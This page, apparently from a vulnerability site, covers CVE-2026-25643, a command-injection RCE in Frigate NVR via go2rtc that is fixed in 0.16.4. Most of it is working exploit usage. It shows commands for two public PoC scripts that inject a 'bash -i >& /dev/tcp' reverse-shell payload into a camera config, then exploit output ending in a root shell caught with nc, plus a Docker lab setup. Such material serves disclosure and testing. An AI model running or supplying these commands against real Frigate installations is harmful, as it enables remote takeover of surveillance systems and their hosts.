Skip to content
HackIndex logo

HackIndex

CVE-2026-25643:
Frigate RCE

Published: Feb 24, 2026
Critical
Shell injection

CVE-2026-25643 is a critical remote command execution bug in Frigate NVR (via go2rtc), disclosed in late January 2026 and fixed in Frigate 0.16.4. It occurs because a crafted stream configuration can cause go2rtc to execute attacker-supplied commands. If exploited, it can let an attacker run commands on the Frigate system, potentially leading to takeover of the service, access to camera data, and—if the setup is privileged—possible compromise of the underlying host.

CCTV Frigate RCE

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

joshuavanderpoll/CVE-2026-25643
CVE-2026-25643: Frigate ≤0.16.3 Blind RCE via go2rtc exec injection
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
 
┌──(kali㉿kali)-[~]
└─$ pip3 install -r requirements.txt
 
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2026-25643.py -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" --url http://$TARGET_IP:$TARGET_PORT/
┌──(kali㉿kali)-[~]
└─$ # or
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2026-25643.py -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" --url http://$TARGET_IP:$TARGET_PORT/ -U $ADMIN_USER -P $ADMIN_PASSWORD 

 Target : http://localhost:5001
 Command: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1

[!] No credentials provided → attempting unauthenticated access
[*] Fetching current configuration (/api/config/raw) ...
[*] Config fetch → HTTP 200
[*] Received 904 bytes
[*] Config was JSON-wrapped → unwrapped
[+] Config parsed successfully (7 top-level keys)
[*] Preparing payload → executing: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[*] Using payload: bash -c 'bash -i >& /dev/tcp/host.docker.internal/1111 0>&1'
[+] Injected malicious stream → debug_cmd
[+] Injected trigger camera → trigger_exec
[*] Sending modified config (861 bytes) with option: restart
[*] Config save → HTTP 200
[+] Configuration accepted (server should restart)

============================================================
 Payload sent! Command should execute during go2rtc init / camera probe.
 Keep in mind:
 • Output is NOT captured (blind execution)
 • Command runs as the user/frigate process
 • Multiple executions may occur during restart
============================================================

Result of revere shell RCE:

┌──(kali㉿kali)-[~]
└─$ nc -lvpn 1111 
bash: cannot set terminal process group (128): Inappropriate ioctl for device
bash: no job control in this shell
root@75b18849339b:/run/s6-rc:s6-rc-init:KPJEik/servicedirs/go2rtc# whoami
whoami
root
jduardo2704/CVE-2026-25643-Frigate-RCE
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
 
┌──(kali㉿kali)-[~]
└─$ pip3 install requests pyyaml
 
┌──(kali㉿kali)-[~]
└─$ python3 frigate_rce.py -u http://$TARGET_IP:$TARGET_PORT -U $ADMIN_USER -P $ADMIN_PASSWORD -lh $LHOST -lp $LPORT
┌──(kali㉿kali)-[~]
└─$ # or
┌──(kali㉿kali)-[~]
└─$ python3 frigate_rce.py -u http://$TARGET_IP:$TARGET_PORT -lh $LHOST -lp 4444 
[*] No credentials provided. Trying unauthenticated access...
[*] Waiting for validation...
[*] Fetching configuration...
[+] Payload injected into config structure.
[+] Validation OK. Listening on 0.0.0.0:1111...
[*] Sending malicious config & triggering restart...

Docker lab

Lab repository
joshuavanderpoll/CVE-2026-25643
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2026-25643/docker/
┌──(kali㉿kali)-[~]
└─$ docker compose up -d

After the docker compose has been setup you can start testing the proof of concepts on:

http://127.0.0.1:5001